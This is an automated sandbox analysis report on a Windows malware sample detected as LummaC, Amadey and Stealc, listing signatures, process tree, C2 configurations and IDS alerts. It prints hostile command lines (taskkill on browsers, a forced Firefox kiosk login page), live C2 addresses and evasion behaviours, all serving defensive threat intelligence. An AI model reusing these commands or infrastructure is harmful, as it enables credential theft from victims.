Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545787
MD5:	bce38b95d18fb00988f62a035bfe7634
SHA1:	36f675cfeb3f2684d1b535f23c56c4ca014499be
SHA256:	bd3f1e8397988f5c5d331c3cfeda9be7cd2cec92ac771697e1f4572b27476b6a
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

.NET source code contains potential unpacker

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1048 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BCE38B95D18FB00988F62A035BFE7634)

Z3WVQPAQZN7WXE31OIKO79M3XY.exe (PID: 6484 cmdline: "C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe" MD5: 15A0A8113FA863F5388159141EBEC606)

FMQRQQBV70LQ52SA3P6LYU.exe (PID: 3704 cmdline: "C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe" MD5: 16C41103653669CEE6886CFDAE5F778F)

skotes.exe (PID: 4876 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 16C41103653669CEE6886CFDAE5F778F)

skotes.exe (PID: 2488 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 16C41103653669CEE6886CFDAE5F778F)

hostname.exe (PID: 3236 cmdline: "C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe" MD5: EFA0B9C13BDE82281933A7A8C82D7C44)

445877ac99.exe (PID: 364 cmdline: "C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe" MD5: BCE38B95D18FB00988F62A035BFE7634)

FVJELX1J0WZE21U53029YWO.exe (PID: 5852 cmdline: "C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe" MD5: 15A0A8113FA863F5388159141EBEC606)

XNXDGT6D647USNMWPLK.exe (PID: 6908 cmdline: "C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe" MD5: 16C41103653669CEE6886CFDAE5F778F)

d319b3db9a.exe (PID: 3700 cmdline: "C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe" MD5: 099D997BEF4D9CC5BDD88ED65AF37B16)

b0a3006fe7.exe (PID: 6964 cmdline: "C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe" MD5: 493ACA6BC14CAF688147C5ABC24D08AD)

taskkill.exe (PID: 1524 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5920 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2144 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5756 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6656 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6952 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 3108 cmdline: "C:\Users\user\AppData\Local\Temp\1002748001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

firefox.exe (PID: 6348 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5564 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6404 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffd276fa-ed93-4d2f-b2e5-111fb53225f6} 5564 "\\.\pipe\gecko-crash-server-pipe.5564" 234dec6eb10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5476 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4036 -parentBuildID 20230927232528 -prefsHandle 3428 -prefMapHandle 3956 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {22fb6704-120d-4177-a90b-1edee1b250d6} 5564 "\\.\pipe\gecko-crash-server-pipe.5564" 234f1312a10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

445877ac99.exe (PID: 1300 cmdline: "C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe" MD5: BCE38B95D18FB00988F62A035BFE7634)

I2N109OTNRC1U5QURKF07D4TDEJX.exe (PID: 3748 cmdline: "C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe" MD5: 15A0A8113FA863F5388159141EBEC606)

T9ZRQE6U4JYG25WDD1H6CU.exe (PID: 1224 cmdline: "C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe" MD5: 16C41103653669CEE6886CFDAE5F778F)

d319b3db9a.exe (PID: 1968 cmdline: "C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe" MD5: 099D997BEF4D9CC5BDD88ED65AF37B16)

b0a3006fe7.exe (PID: 2532 cmdline: "C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe" MD5: 493ACA6BC14CAF688147C5ABC24D08AD)

taskkill.exe (PID: 2524 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6304 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2940 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4024 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

num.exe (PID: 6920 cmdline: "C:\Users\user\AppData\Local\Temp\1002748001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

445877ac99.exe (PID: 3912 cmdline: "C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe" MD5: BCE38B95D18FB00988F62A035BFE7634)

d319b3db9a.exe (PID: 736 cmdline: "C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe" MD5: 099D997BEF4D9CC5BDD88ED65AF37B16)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["necklacedmny.store", "founpiuer.store", "presticitpo.store", "navygenerayk.store", "fadehairucw.store", "scriptyprefej.store", "crisiwarny.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1002748001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.2257552528.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000000.2984929700.0000000000A51000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2933572737.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.3249825676.00000000012CA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2276102301.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2454622073.0000000000EC1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2870209889.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2230449853.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000000.3262528586.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.3246382024.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.3248585111.00000000012C9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000000.3262383199.0000000000A51000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000002.3337935516.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000000.2984970513.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000002.3340336007.00000000013C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.2274099543.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.3336590908.0000000000A51000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2887185051.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.3007015079.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.2257484498.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2925691440.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2476648723.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.3124725188.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2904996879.0000000000F81000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2933477170.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2436361333.0000000005200000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2230118072.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2668893357.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000026.00000003.3306511315.0000000004D80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2274015399.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000002.3367199801.0000000000EF1000.00000040.00000001.01000000.0000001E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2908401382.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2909263406.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2230671655.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.3000892986.0000000000A51000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000002.2941246980.0000000000A21000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000002.2940937708.000000000087E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2933870732.0000000000F8F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2245245805.0000000000CF0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3255449606.0000000000A21000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2926716507.0000000000F83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000003.2410032085.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2244305444.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2276164069.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2925909050.0000000000F83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2926355406.0000000000F83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2881753122.0000000000F83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1048	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 1048	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1048	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 445877ac99.exe PID: 364	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 445877ac99.exe PID: 364	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 445877ac99.exe PID: 364	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d319b3db9a.exe PID: 3700	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: d319b3db9a.exe PID: 3700	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: b0a3006fe7.exe PID: 6964	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: num.exe PID: 3108	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 3108	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 445877ac99.exe PID: 1300	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 56 entries

Unpacked PEs

Source	Rule	Description	Author
27.0.num.exe.a50000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
38.2.XNXDGT6D647USNMWPLK.exe.ef0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.num.exe.a50000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
37.0.num.exe.a50000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
37.2.num.exe.a50000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.7e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.d319b3db9a.exe.a20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
32.2.d319b3db9a.exe.a20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.FMQRQQBV70LQ52SA3P6LYU.exe.ec0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2488, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\445877ac99.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2488, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\445877ac99.exe

Sigma detected: Suspicious Execution of Hostname

Source: Process started

Author: frack113: Data: Command: "C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe" , CommandLine: "C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentImage: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentProcessId: 2488, ParentProcessName: skotes.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe" , ProcessId: 3236, ProcessName: hostname.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:16.451438+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49711	188.114.97.3	443	TCP
2024-10-31T01:18:17.853835+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49721	188.114.97.3	443	TCP
2024-10-31T01:18:28.689940+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49789	188.114.97.3	443	TCP
2024-10-31T01:19:20.191704+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49997	188.114.97.3	443	TCP
2024-10-31T01:19:21.294100+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49999	188.114.97.3	443	TCP
2024-10-31T01:19:36.293010+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50016	188.114.97.3	443	TCP
2024-10-31T01:19:41.618503+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50024	188.114.97.3	443	TCP
2024-10-31T01:19:43.838697+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50032	188.114.97.3	443	TCP
2024-10-31T01:20:09.755588+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50062	188.114.97.3	443	TCP
2024-10-31T01:20:15.805616+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50066	188.114.97.3	443	TCP
2024-10-31T01:20:19.123810+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50068	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:16.451438+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49711	188.114.97.3	443	TCP
2024-10-31T01:19:20.191704+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49997	188.114.97.3	443	TCP
2024-10-31T01:19:41.618503+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50024	188.114.97.3	443	TCP
2024-10-31T01:20:15.805616+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50066	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:17.853835+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49721	188.114.97.3	443	TCP
2024-10-31T01:19:21.294100+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49999	188.114.97.3	443	TCP
2024-10-31T01:19:43.838697+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50032	188.114.97.3	443	TCP
2024-10-31T01:20:19.123810+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50068	188.114.97.3	443	TCP

